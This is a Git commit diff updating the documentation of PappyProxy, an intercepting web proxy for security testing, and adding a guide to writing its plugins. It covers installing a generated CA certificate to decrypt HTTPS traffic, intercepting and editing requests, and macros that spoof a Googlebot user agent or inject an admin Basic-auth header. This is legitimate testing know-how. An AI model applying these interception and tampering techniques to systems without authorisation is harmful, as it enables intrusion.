jab2870/PappyProxy
1
0
Fork 0
Code Issues Pull requests Releases Wiki Activity

Version 0.2.0

Browse source
This commit is contained in:
Rob Glew 2016-01-19 18:00:34 -06:00
parent 312b985229
commit 26376eaaec
43 changed files with 4699 additions and 2668 deletions
Download patch file Download diff file Expand all files Collapse all files

6
docs/source/conf.py
View file

@ -59,9 +59,9 @@ author = u'Rob Glew'
# built documents.
#
# The short X.Y version.
version = u'0.0.1'
version = u'0.2.0'
# The full version, including alpha/beta/rc tags.
release = u'0.0.1'
release = u'0.2.0'
# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
@ -307,6 +307,8 @@ intersphinx_mapping = {'https://docs.python.org/': None}
def maybe_skip_member(app, what, name, obj, skip, options):
skip_vals = ('__doc__', '__module__', '__weakref__')
if name[0] == '_':
return True
if name in skip_vals:
return True
if obj.__doc__ is None:

1
docs/source/index.rst
View file

@ -13,6 +13,7 @@ Contents:
overview
tutorial
pappyplugins
Indices and tables

387
docs/source/overview.rst
View file

@ -11,7 +11,7 @@ testing. Its features are often similar, or straight up rippoffs from
neither open source nor a command line tool, thus making a proxy like
Pappy inevitable. The project is still in its early stages, so there are
bugs and only the bare minimum features, but it should be able to do
some cool stuff soon (I'm already using it for realtm work).
some cool stuff soon (I'm already using it for real work).
Contributing
------------
@ -24,9 +24,9 @@ know so that I can [STRIKEOUT:use it to stomp them into the dust]
improve my project.
If you're brave and want to try and contribute code, please let me know.
Right now the codebase is a giant clusterfun which I have refactored a
few times already, but I would be more than happy to find a stable part
of the codebase that you can contribute to.
Right now the codebase is kind of rough and I have refactored it a few
times already, but I would be more than happy to find a stable part of
the codebase that you can contribute to.
How to Use It
=============
@ -48,11 +48,10 @@ installed correctly by running ``pappy -l`` to start the proxy.
Quickstart
----------
Pappy projects take up an entire directory. While a full directory may
seem like a dumb idea compared to storing everything in a zip file, but
when it comes to generating attack strips and things, it's easier to
just keep everything in a directory so you can view/edit files with
other programs. To start a project, do something like:
Pappy projects take up an entire directory. Any generated scripts,
exported responses, etc. will be placed in the current directory so it's
good to give your project a directory of its own. To start a project, do
something like:
::
@ -61,7 +60,7 @@ other programs. To start a project, do something like:
$ pappy
Copying default config to directory
Proxy is listening on port 8000
itsPappyTime> exit
pappy> exit
$ ls
data.db project_config.json
$
@ -70,16 +69,18 @@ And that's it! The proxy will by default be running on port 8000 and
bound to localhost (to keep the hackers out). You can modify the
port/interface in ``config.json``. You can list all your intercepted
requests with ``ls``, view a full request with ``vfq <reqid>`` or view a
full response with ``vfs <reqid>``. No you can't delete them yet. I'm
working on it.
full response with ``vfs <reqid>``. Right now, the only command to
delete requests is ``filter_prune`` which deletes all the requests that
aren't in the current context (look at the sections on the
context/filter strings for more information on that).
Lite Mode
---------
If you don't want to dirty up a directory, you can run Pappy in "lite"
mode. Pappy will use the default configuration settings and will create
a temporary datafile in ``/tmp`` to use. When you quit, the file will be
deleted. If you want to run Pappy in line mode, run Pappy with either
a temporary data file in ``/tmp`` to use. When you quit, the file will
be deleted. If you want to run Pappy in lite mode, run Pappy with either
``-l`` or ``--lite``.
Example:
@ -89,7 +90,7 @@ Example:
$ pappy -l
Temporary datafile is /tmp/tmpw4mGv2
Proxy is listening on port 8000
itsPappyTime> quit
pappy> quit
Deleting temporary datafile
$
@ -99,11 +100,10 @@ Adding The CA Cert to Your Browser
In order for Pappy to view data sent using HTTPS, you need to add a
generated CA cert (``certificate.crt``) to your browser. Certificates
are generated using the ``gencerts`` command and are by default stored
in the same directory as ``pappy.py``. This allows Pappy to act as a CA
and MITM HTTPS connections. I believe that Firefox and Chrome ignore
keychain/system certs, so you will have to install the CA cert to the
browsers instead of (or in addition to) adding the cert to your
keychain.
in ``~/.pappy/certs``. This allows Pappy to act as a CA and sign any
HTTPS certificate it wants without the browser complaining. This allows
Pappy to decrypt and modify HTTPS requests. The certificate installation
instructions are different for each browser.
Firefox
~~~~~~~
@ -156,11 +156,13 @@ proxy. The following fields can be used to configure the proxy:
The following tokens will also be replaced with values:
+------------------+------------------------------------------------+
| Token | Replaced with |
+==================+================================================+
| ``{PAPPYDIR}`` | The directory where Pappy's files are stored |
+------------------+------------------------------------------------+
+-----------------+-----------------------------------------------------+
| Token | Replaced with |
+=================+=====================================================+
| ``{DATADIR}`` | The directory where Pappy's data files are stored |
+-----------------+-----------------------------------------------------+
See the default ``config.json`` for examples.
Generating Pappy's CA Cert
--------------------------
@ -168,16 +170,16 @@ Generating Pappy's CA Cert
In order to intercept and modify requests to sites that use HTTPS, you
have to generate and install CA certs to your browser. You can do this
by running the ``gencerts`` command in Pappy. By default, certs are
stored in the same directory as Pappy's script files. However, you can
change where Pappy will look for the private key file in the config
file. In addition, you can give the ``gencerts`` command an argument to
have it put the generated certs in a different directory.
stored ``~/.pappy/certs``. This is also the default location that Pappy
will look for certificates (unless you specify otherwise in
``config.json``.) In addition, you can give the ``gencerts`` command an
argument to have it put the generated certs in a different directory.
+----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command | Description |
+========================================+================================================================================================================================================================+
| ``gencerts [/path/to/put/certs/in]`` | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic. Also generates the private key for that cert in the same directory. |
+----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
+----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command | Description |
+========================================+==================================================================================================================================================================================================================================================================================+
| ``gencerts [/path/to/put/certs/in]`` | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic. Also generates the private key for that cert in the same directory. If no path is given, the certs will be placed in the default certificate location. Overwrites any existing certs. |
+----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Browsing Recorded Requests/Responses
------------------------------------
@ -202,7 +204,7 @@ The following commands can be used to view requests and responses
| ``vhs <id(s)>`` | view\_response\_headers, vhs | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. |
+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
The table shown will have the following columns:
The table shown by ``ls`` will have the following columns:
+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Label | Description |
@ -230,7 +232,7 @@ Tags
----
You can apply tags to a request and use filters to view specific tags.
The following commands can be used to apply tags to requests:
The following commands can be used to apply and remove tags to requests:
+---------------------------+-----------+---------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
@ -245,10 +247,13 @@ The following commands can be used to apply tags to requests:
Request IDs
-----------
Request IDs are how you identify a request. You can see it when you run
``ls``. In addition, you can prepend an ID with prefixes to get requests
or responses associated with the request (for example its unmangled
request or response) Here are the valid prefixes:
Request IDs are how you identify a request and every command that
involves specifying a request will take one or more request IDs. You can
see it when you run ``ls``. In addition, you can prepend an ID with
prefixes to get requests or responses associated with the request (for
example if you modified the request or its response with the
interceptor, you can get the unmangled versions.) Here are the valid
prefixes:
+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Prefix | Description |
@ -258,9 +263,9 @@ request or response) Here are the valid prefixes:
| ``s`` | If the response was mangled, prefixing the request ID ``s`` will result in the same request but its associated response will be the unmangled version. |
+----------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
I know it sounds kind of weird, but here are some example commands that
will hopefully make things clearer. Suppose request 1 had its request
mangled, and request 2 had its response mangled.
I know it sounds kind of unintuitive. Here are some example commands
that will hopefully make things clearer. Suppose request 1 had its
request mangled, and request 2 had its response mangled.
- ``vfq 1`` Prints the mangled version of request 1
- ``vfq u1`` Prints the unmangled version of request 1
@ -280,7 +285,7 @@ Passing Multiple Request IDs to a Command
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Some arguments can take multiple IDs for an argument. To pass multiple
IDs to a command, separate the IDs with commas (no spaces!). A few
IDs to a command, separate the IDs with commas **(no spaces!)**. A few
examples:
- ``viq 1,2,u3`` View information about requests 1, 2, and the
@ -293,13 +298,12 @@ Context
The context is a set of filters that define which requests are
considered "active". Only requests in the current context are displayed
with ``ls``, and eventually contexts will be how Pappy will manage
requests for group operations. By default, the context includes every
single request that passes through the proxy. You can limit down the
current context by applying filters. Filters apply rules such as "the
response code must equal 500" or "the host must contain google.com".
Once you apply one or more filters, only requests/responses which pass
every active filter will be a part of the current context.
with ``ls``. By default, the context includes every single request that
passes through the proxy. You can limit down the current context by
applying filters. Filters apply rules such as "the response code must
equal 500" or "the host must contain google.com". Once you apply one or
more filters, only requests/responses which pass every active filter
will be a part of the current context.
+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
@ -308,24 +312,28 @@ every active filter will be a part of the current context.
+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
| ``fc`` | filter\_clear, fc | Clears the filters and resets the context to contain all requests and responses. Ignores scope |
+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
| ``fu`` | filter\_up, fu | Removes the most recently applied filter |
+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
| ``fls`` | filter\_list, fls | Print the filters that make up the current context |
+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
| ``filter_prune`` | filter\_prune | Delete all the requests that aren't in the current context from the data file |
+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
Filter Strings
--------------
Filter strings define a condition that a request/response pair must pass
to be part of a context. Most filter strings have the following format:
to be part of the context. Most filter strings have the following
format:
::
<field> <comparer> <value>
Where ``<field>`` is some part of the request/response, ``<comparer>``
is some comparison to ``<value>``. Also **if you prefix a comparer with
'n' it turns it into a negation.** For example, if you wanted a filter
that only matches requests to target.org, you could use the following
filter string:
is some comparison to ``<value>``. For example, if you wanted a filter
that only matches requests to ``target.org``, you could use the
following filter string:
::
@ -335,6 +343,18 @@ filter string:
comparer = "is"
value = "target.org"
Also **if you prefix a comparer with 'n' it turns it into a negation.**
Using the previous example, the following will match any request except
for ones where the host contains ``target.org``:
::
host nis target.org
field = "host"
comparer = "nis"
value = "target.org"
For fields that are a list of key/value pairs (headers, get params, post
params, and cookies) you can use the following format:
@ -423,21 +443,34 @@ List of comparers
| lt | lt | A lt B if A < B (A and B must be a number) |
+--------------+------------------+-----------------------------------------------------------------+
Special form filters
~~~~~~~~~~~~~~~~~~~~
A few filters don't conform to the field, comparer, value format. You
can still negate these.
+-----------+------------------+---------------------------------------------------------------------------------------------------------+
| Format | Aliases | Description |
+===========+==================+=========================================================================================================+
| before | before, bf, b4 | Filters out any request that is not before the given request. Filters out any request without a time. |
+-----------+------------------+---------------------------------------------------------------------------------------------------------+
| after | after, af | Filters out any request that is not before the given request. Filters out any request without a time. |
+-----------+------------------+---------------------------------------------------------------------------------------------------------+
Scope
-----
Scope is a set of rules to define whether Pappy should mess with a
request. You define the scope by setting the context to what you want
the scope to be and running ``scope_save``. The scope is saved in
data.db and is automatically restored when using the same project
the scope to be and running ``scope_save``. The scope is saved in the
data file and is automatically restored when using the same project
directory.
Any requests which don't match all the filters in the scope will be
passed straight to the browser and will not be caught by the interceptor
or recorded in the database. This is useful to make sure you don't
or recorded in the data file. This is useful to make sure you don't
accidentally do something like log in to your email through the proxy
and have your plaintext username/password stored and accidentally shown
to your coworkers.
and have your plaintext username/password stored.
+--------------------+---------------------------+------------------------------------------------------+
| Command | Aliases | Description |
@ -458,11 +491,13 @@ Pappy also includes some built in filters that you can apply. These are
things that you may want to filter by but may be too tedius to type out.
The ``fbi`` command also supports tab completion.
+-----------------+-----------------------------------------+
| Filter | Description |
+=================+=========================================+
| ``not_image`` | Matches anything that isn't an image. |
+-----------------+-----------------------------------------+
+-----------------+--------------------------------------------------+
| Filter | Description |
+=================+==================================================+
| ``not_image`` | Matches anything that isn't an image. |
+-----------------+--------------------------------------------------+
| ``not_jscss`` | Matches anything that isn't JavaScript or CSS. |
+-----------------+--------------------------------------------------+
+--------------------+-------------------------------+--------------------------------------------------+
| Command | Aliases | Description |
@ -476,12 +511,12 @@ Interceptor
This feature is like Burp's proxy with "Intercept Mode" turned on,
except it's not turned on unless you explicitly turn it on. When the
proxy gets a request while in intercept mode, it lets you edit it before
it forwards it to the server. In addition, it can stop responses from
the server and let you edit them before they get forwarded to the
browser. When you run the command, you can pass ``request`` and/or
``response`` as arguments to say whether you would like to intercept
requests and/or responses. Only in-scope requests/responses will be
intercepted (see Scope section).
forwarding it to the server. In addition, it can stop responses from the
server and let you edit them before they get forwarded to the browser.
When you run the command, you can pass ``req`` and/or ``rsp`` as
arguments to say whether you would like to intercept requests and/or
responses. Only in-scope requests/responses will be intercepted (see
Scope section).
The interceptor will use your EDITOR variable to decide which editor to
edit the request/response with. If no editor variable is set, it will
@ -512,6 +547,8 @@ To forward a request, edit it, save the file, then quit.
Be totally useless:
> ic
To drop a request, delete everything, save and quit.
Repeater
--------
@ -520,12 +557,11 @@ and Pappy will open vim in a split window with your request on the left
and the original response on the right. You can make changes to the
request and then run ":RepeaterSubmitBuffer" to submit the modified
request. The response will be displayed on the right. This command is
bound to ``<leader>f`` by default, but you can rebind it in your vimrc
(I think, dunno if vim will complain if it's undefined). This command
will submit whatever buffer your cursor is in, so make sure it's in the
request buffer.
To drop a request, delete everything, save and quit (``ggdG:wq``).
bound to ``<leader>f`` by default, but you can bind it to something else
too in your vimrc (I think, dunno if vim will complain if the function
undefined which it will be for regular files). This command will submit
whatever buffer your cursor is in, so make sure it's in the request
buffer.
When you're done with repeater, run ":qa!" to avoid having to save
changes to nonexistent files.
@ -588,19 +624,19 @@ quotes around it.
$ pappy
Proxy is listening on port 8000
itsPappyTime> lma
pappy> lma
Loaded "<Macro Test Macro (tm/test)>"
Loaded "<Macro Macro 6494496 (testgen)>"
Loaded "<Macro Print Macro (print)>"
Loaded "<Macro Hack the NSA (htnsa/hackthensa)>"
Loaded "<Macro Macro 62449408 (blank)>"
itsPappyTime> rma print
pappy> rma print
Hello, Pappy!
itsPappyTime> rma print NSA
pappy> rma print NSA
Hello, NSA!
itsPappyTime> rma print Idiot Slayer
pappy> rma print Idiot Slayer
Hello, Idiot!
itsPappyTime> rma print "Idiot Slayer"
pappy> rma print "Idiot Slayer"
Hello, Idiot Slayer!
You'll need to run ``lma`` every time you make a change to the macro in
@ -617,16 +653,16 @@ with the same information as requests you've already made. For example:
$ pappy
Proxy is listening on port 8000
itsPappyTime> ls
pappy> ls
ID Verb Host Path S-Code Req Len Rsp Len Time Mngl
5 GET vitaly.sexy /esr1.jpg 200 OK 0 17653 -- --
4 GET vitaly.sexy /netscape.gif 200 OK 0 1135 -- --
3 GET vitaly.sexy /construction.gif 200 OK 0 28366 -- --
2 GET vitaly.sexy /vitaly2.jpg 200 OK 0 2034003 -- --
1 GET vitaly.sexy / 200 OK 0 1201 -- --
itsPappyTime> gma sexy 1
pappy> gma sexy 1
Wrote script to macro_sexy.py
itsPappyTime> quit
pappy> quit
$ cat macro_sexy.py
from pappyproxy.http import Request, get_request, post_request
@ -658,11 +694,10 @@ with the same information as requests you've already made. For example:
# req.save() # save the request to the data file
# or copy req0 into a loop and use string substitution to automate requests
pass
$
If you enter in a value for ``SHORT_NAME``, you can use it as a shortcut
to run that macro. So if in a macro you set ``SHORT_NAME='tm'`` you can
run it by running ``itsPappyTime> rma tm``.
run it by running ``pappy> rma tm``.
+--------------------------+-------------------------------+-------------------------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
@ -692,8 +727,8 @@ Dict-like objects are represented with a custom class called a
so just interact with it like a dict and don't be surprised if it's
missing some methods you would expect a dict to have.
Here is a quick (non-comprehensive) list of attributes that you can use
with ``Request`` objects:
Here is a quick list of attributes that you can use with ``Request``
objects:
+-----------------+-------------+------------------+-----------------------------------------------------------------------------------------------------------------+
| Attribute | Settable? | Data Type | Description |
@ -755,8 +790,8 @@ Request methods:
| save() | Save the request, its unmangled version, its associated response, and the unmangled version of the response to the database |
+------------+-------------------------------------------------------------------------------------------------------------------------------+
And here is a quick (non-comprehensive) list of attributes that you can
use with ``Response`` objects:
And here is a quick list of attributes that you can use with
``Response`` objects:
+------------------+-------------+------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| Attribute | Settable? | Data Type | Description |
@ -791,8 +826,27 @@ can fix it.
Useful Functions
~~~~~~~~~~~~~~~~
There are also a few functions which could be useful for making
requests.
There are also a few functions which could be useful for creating
requests in macros. It's worth pointing out that ``request_by_id`` is
useful for passing request objects as arguments. For example, here is a
macro that lets you resubmit a request with the Google Bot user agent:
::
## macro_googlebot.py
from pappyproxy.http import Request, get_request, post_request, request_by_id
from pappyproxy.context import set_tag
from pappyproxy.iter import *
MACRO_NAME = 'Submit as Google'
SHORT_NAME = ''
def run_macro(args):
req = request_by_id(args[0])
req.headers['User-Agent'] = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
req.submit()
req.save()
+-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+
| Function | Description |
@ -801,6 +855,8 @@ requests.
+-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+
| post\_request(url, post\_params={}, url\_params={}) | Returns a Request object that contains a POST request to the given url with the given url and post params |
+-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+
| request\_by\_id(reqid) | Get a request object from its id. |
+-------------------------------------------------------+-------------------------------------------------------------------------------------------------------------+
Intercepting Macros
-------------------
@ -824,9 +880,10 @@ Note, that due to twisted funkyness, *you cannot save requests from
intercepting macros*. Technically you **can**, but to do that you'll
have to define ``async_mangle_request`` (or response) instead of
``mangle_request`` (or response) then use ``Request.async_deep_save``
which returns a deferred, then return a deferred from
which generates a deferred, then generate a deferred from
``async_mangle_requests`` (inline callbacks work too). If you've never
used twisted before, please don't try. Twisted is hard.
used twisted before, please don't try. Twisted is hard. Plus the mangled
request will be saved before it is submitted anyways.
Confusing? Here are some example intercepting macros:
@ -862,9 +919,7 @@ Confusing? Here are some example intercepting macros:
## int_adminplz.py
from pappyproxy.http import ResponseCookie
from base64 import base64encode as b64e
import string
MACRO_NAME = 'Admin Session'
@ -873,40 +928,68 @@ Confusing? Here are some example intercepting macros:
r.headers['Authorization'] = 'Basic %s' % b64e('Admin:Password123')
return r
In addition, you can use an ``init(args)`` function to get arguments
from the command line. If no arguments are passed, args will be an empty
list. Here is an example macro that does a search and replace:
::
## int_replace.py
MACRO_NAME = 'Find and Replace'
SHORT_NAME = ''
runargs = []
def init(args):
global runargs
runargs = args
def mangle_request(request):
global runargs
if len(runargs) < 2:
return request
request.body = request.body.replace(runargs[0], runargs[1])
return request
def mangle_response(request):
global runargs
if len(runargs) < 2:
return request.response
request.response.body = request.response.body.replace(runargs[0], runargs[1])
return request.response
You can use this macro to do any search and replace that you want. For
example, if you wanted to replace "Google" with "Skynet", you can run
the macro like this:
::
pappy> lma
Loaded "<InterceptingMacro Find and Replace (replace)>"
pappy> rim replace Google Skynet
"Find and Replace" started
pappy>
Now every site that you visit will be a little bit more accurate.
Enabling/Disabling Intercepting Macros
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
You can use the following commands to start/stop intercepting macros
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
+========================+====================================+======================================================================================================================+
| ``lma [dir]`` | ``load_macros``, ``lma`` | Load macros from a directory. If ``dir`` is not given, use the current directory (the project directory) |
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
| ``rim <macro name>`` | ``run_int_macro``, ``rim`` | Run an intercepting macro. Similarly to normal macros you can use the name, short name, or file name of the macro. |
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
| ``sim <macro name>`` | ``stop_int_macro``, ``sim`` | Stop an intercepting macro. |
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
| ``lim`` | ``list_int_macros``, ``lim`` | List all enabled/disabled intercepting macros |
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
| ``gima <name>`` | ``generate_int_macro``, ``gima`` | Generate an intercepting macro with the given name. |
+------------------------+------------------------------------+----------------------------------------------------------------------------------------------------------------------+
Additional Commands
-------------------
This is a list of other random stuff you can do that isn't categorized
under anything else. These are mostly commands that I found that I
needed while doing a test and just added. They likely don't do a ton of
error checking and are likely not super full-featured.
+----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
+========================================+=====================+=======================================================================================================================================================+
| ``dump_response <reqid> [filename]`` | ``dump_response`` | Dumps the data from the response to the given filename (useful for images, .swf, etc). If no filename is given, it uses the name given in the path. |
+----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``export <req|rsp> <reqid>`` | ``export`` | Writes either the full request or response to a file in the current directory. |
+----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
+-------------------------------+------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
+===============================+====================================+================================================================================================================================+
| ``lma [dir]`` | ``load_macros``, ``lma`` | Load macros from a directory. If ``dir`` is not given, use the current directory (the project directory) |
+-------------------------------+------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+
| ``rim <macro name>`` | ``run_int_macro``, ``rim`` | Run an intercepting macro. Similarly to normal macros you can use the name, short name, or file name of the macro. |
+-------------------------------+------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+
| ``sim <macro name> [args]`` | ``stop_int_macro``, ``sim`` | Stop an intercepting macro. If arguments are given, they will be passed to the macro's ``init(args)`` function if it exists. |
+-------------------------------+------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+
| ``lim`` | ``list_int_macros``, ``lsim`` | List all enabled/disabled intercepting macros |
+-------------------------------+------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+
| ``gima <name>`` | ``generate_int_macro``, ``gima`` | Generate an intercepting macro with the given name. |
+-------------------------------+------------------------------------+--------------------------------------------------------------------------------------------------------------------------------+
Logging
-------
@ -925,3 +1008,53 @@ every start though!)
+=======================+===============================================================================================================================================================================================================================+
| ``log [verbosity]`` | View the log at the given verbosity. Default verbosity is 1 which just shows connections being made/lost and some other info, verbosity 3 shows full requests/responses as they pass through and are processed by the proxy |
+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
Additional Commands and Features
--------------------------------
This is a list of other random stuff you can do that isn't categorized
under anything else. These are mostly commands that I found that I
needed while doing a test and just added. They likely don't do a ton of
error checking.
+----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
| Command | Aliases | Description |
+========================================+=====================+=======================================================================================================================================================+
| ``dump_response <reqid> [filename]`` | ``dump_response`` | Dumps the data from the response to the given filename (useful for images, .swf, etc). If no filename is given, it uses the name given in the path. |
+----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
| ``export <req|rsp> <reqid>`` | ``export`` | Writes either the full request or response to a file in the current directory. |
+----------------------------------------+---------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------+
Response streaming
~~~~~~~~~~~~~~~~~~
If you don't have any intercepting macros running, Pappy will forward
data to the browser as it gets it. However, if you're trying to mangle
messages/responses, Pappy will need to download the entire message
first.
FAQ
---
Why does my request have an id of ``--``?!?!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
You can't do anything with a request/response until it is decoded and
saved to disk. In between the time when a request is decoded and when
it's saved to disk, it will have an ID of ``--``. So just wait a little
bit and it will get an ID you can use.
Changelog
---------
The boring part of the readme
- 0.1.2
- Refactor almost every part of proxy
- Basic framework for plugins
- Bugfixes probably
- Create changelog
- 0.1.1
- Start using sane versioning system
- No idea what I added

450
docs/source/pappyplugins.rst Normal file
View file

@ -0,0 +1,450 @@
Writing Plugins for the Pappy Proxy
***********************************
.. contents:: Table of Contents
:local:
Introduction
============
Are macros not powerful enough? Want to make something reusable? Want to add console commands?! Then you might want to write yourself a plugin. Some quick highlights about plugins:
* Python scripts stored in ``~/.pappy/plugins``
* Can add console commands
* For actions which aren't specific to one project
* Harder to write than macros
Since macros can also use the plugin API, plugins aren't any more powerful than macros (besides adding console commands). However, if you find yourself copying a useful macro to more than one project, it may be worth it to just bind it to some commands, put the script in one place, and stop worrying about copying it around. Plus then you can put it on GitHub for some sweet sweet nerd cred.
Should I Write a Plugin or a Macro?
-----------------------------------
A lot of the time, you can get away with writing a macro. However, you may consider writing a plugin if:
* You find yourself copying one macro to multiple projects
* You want to write a general tool that can be applied to any website
* You need to maintain state during the Pappy session
My guess is that if you need one quick thing for a project, you're better off writing a macro first and seeing if you end up using it in future projects. Then if you find yourself needing it a lot, write a plugin for it. You may also consider keeping a ``mine.py`` plugin where you can write out commands that you use regularly but may not be worth creating a dedicated plugin for.
Plugins Get Merged
------------------
If you write a useful plugin, as long as it isn't uber niche, I'll try and merge it into the core project.
Creating a Plugin
=================
Whenever you make a macro, you'll have to bind some functions to some console commands. To do this, you'll have to define a ``load_cmds`` function in your plugin. This function should take one argument. When the plugin is loaded, this function will be called and the console object will be passed to this function. You can then use ``set_cmds`` and ``add_aliases`` to bind functions to console commands.
Writing a Hello World Plugin
----------------------------
It's probably easiest to explain how to write a plugin by writing one. Here is a simple plugin that defines a ``hello`` command and gives an alias ``hlo`` (we'll go over all the parts in a second)::
## hello.py
def hello_world(line):
print "Hello, world!"
###############
## Plugin hooks
def load_cmds(cmd):
cmd.set_cmds({
'hello': (hello_world, None),
})
cmd.add_aliases([
('hello', 'hlo'),
])
Save this as ``~/.pappy/plugins/hello.py`` and run Pappy. You should have a new ``hello`` command that prints your message::
$ cp hello.py ~/.pappy/plugins/
$ pappy -l
Temporary datafile is /tmp/tmp1Myw6q
Proxy is listening on port 8000
pappy> hello
Hello, world!
pappy> hlo
Hello, world!
pappy>
Awesome! So let's go over the code. Here are the important parts of the code:
* We define a function that we want to call
* We define ``load_cmds(cmd)`` to be called when our plugin is loaded to bind our function to a command
* We use ``cmd.set_cmds`` to set all our commands
* We use ``cmd.add_aliases`` to add aliases for commands
Now let's go over it in detail
Passing Arguments to Your Function
----------------------------------
Each command gets bound to one function which takes one argument. That argument is all the text that was entered after the name of the command in the console. For example if we run ``hello foo bar``, in our function line would be "foo bar". **I suggest using shlex.split(line) to parse multiple arguments**. So let's update our script to take some arguments::
## hello.py
import shlex
def hello_world(line):
if line:
args = shlex.split(line)
print 'Hello, %s!' % (', '.join(args))
else:
print "Hello, world!"
###############
## Plugin hooks
def load_cmds(cmd):
cmd.set_cmds({
'hello': (hello_world, None),
})
cmd.add_aliases([
('hello', 'hlo'),
])
Save your changes and restart pappy to reload the plugin::
$ pappy -l
Temporary datafile is /tmp/tmpBOXyJ3
Proxy is listening on port 8000
pappy> hello
Hello, world!
pappy> hello foo bar baz
Hello, foo, bar, baz!
pappy> hello foo bar "baz lihtyur"
Hello, foo, bar, baz lihtyur!
pappy>
Adding More Aliases
-------------------
So now let's add some more aliases to our command. If we want to add a new alias, we just add another tuple to the list passed into ``cmd.add_aliases``. The first element is the real name of the command (what you set with ``set_cmds``) and the second value is the alias you want to type. So let's make it so we can just type ``ho`` to say hello::
## hello.py
import shlex
def hello_world(line):
if line:
args = shlex.split(line)
print 'Hello, %s!' % (', '.join(args))
else:
print "Hello, world!"
###############
## Plugin hooks
def load_cmds(cmd):
cmd.set_cmds({
'hello': (hello_world, None),
})
cmd.add_aliases([
('hello', 'hlo'),
('hello', 'ho'),
])
.. note::
You must use the actual name of the command that you used in ``set_cmds``. You can't "chain" alieases. As a result, in our example we couldn't add the alias ``('hlo', 'ho')`` to add ``ho`` as our alias.
Then reload the plugin::
$ pappy -l
Temporary datafile is /tmp/tmpBOXyJ3
Proxy is listening on port 8000
pappy> ho
Hello, world!
pappy> ho foo bar baz
Hello, foo, bar, baz!
pappy> ho foo bar "baz lihtyur"
Hello, foo, bar, baz lihtyur!
pappy>
Adding Another Command
----------------------
So now let's add a ``robe_and_wizard_hat`` command. To do this, we will define another function, then add another entry in the dict that is passed to ``set_cmds``. The second value in the tuple is the autocomplete function, but we'll get to that later. For now, just put in ``None`` to say we don't have one. We will also add a ``wh`` alias to it::
$ pappy -l
Temporary datafile is /tmp/tmpyl2cEZ
Proxy is listening on port 8000
pappy> wh
I put on my robe and wizard hat
pappy>
Adding Autocompletion
---------------------
You can also define a function to handle autocompletion for your command. In order to do this, you define a function that takes 4 arguments: ``text``, ``line``, ``begidx``, and ``endidx``. From the `Cmd docs <https://docs.python.org/2/library/cmd.html>`_, this is what the arguments mean:
``text`` is the string prefix we are attempting to match: all returned matches must begin with it. ``line`` is the current input line with leading whitespace removed, ``begidx`` and ``endidx`` are the beginning and ending indexes of the prefix text, which could be used to provide different completion depending upon which position the argument is in.
Let's let the user to autocomplete some names in our plugin::
import shlex
_AUTOCOMPLETE_NAMES = ['alice', 'allie', 'sarah', 'mallory', 'slagathor']
def hello_world(line):
if line:
args = shlex.split(line)
print 'Hello, %s!' % (', '.join(args))
else:
print "Hello, world!"
def put_on_rope_and_wizard_hat(line):
if line:
print '%s puts on their robe and wizard hat' % line
else:
print 'I put on my robe and wizard hat'
def complete_hello_world(text, line, begidx, endidx):
return [n for n in _AUTOCOMPLETE_NAMES if n.startswith(text)]
###############
## Plugin hooks
def load_cmds(cmd):
cmd.set_cmds({
'hello': (hello_world, complete_hello_world),
'wizard_hat': (put_on_rope_and_wizard_hat, None),
})
cmd.add_aliases([
('hello', 'hlo'),
('wizard_hat', 'wh'),
])
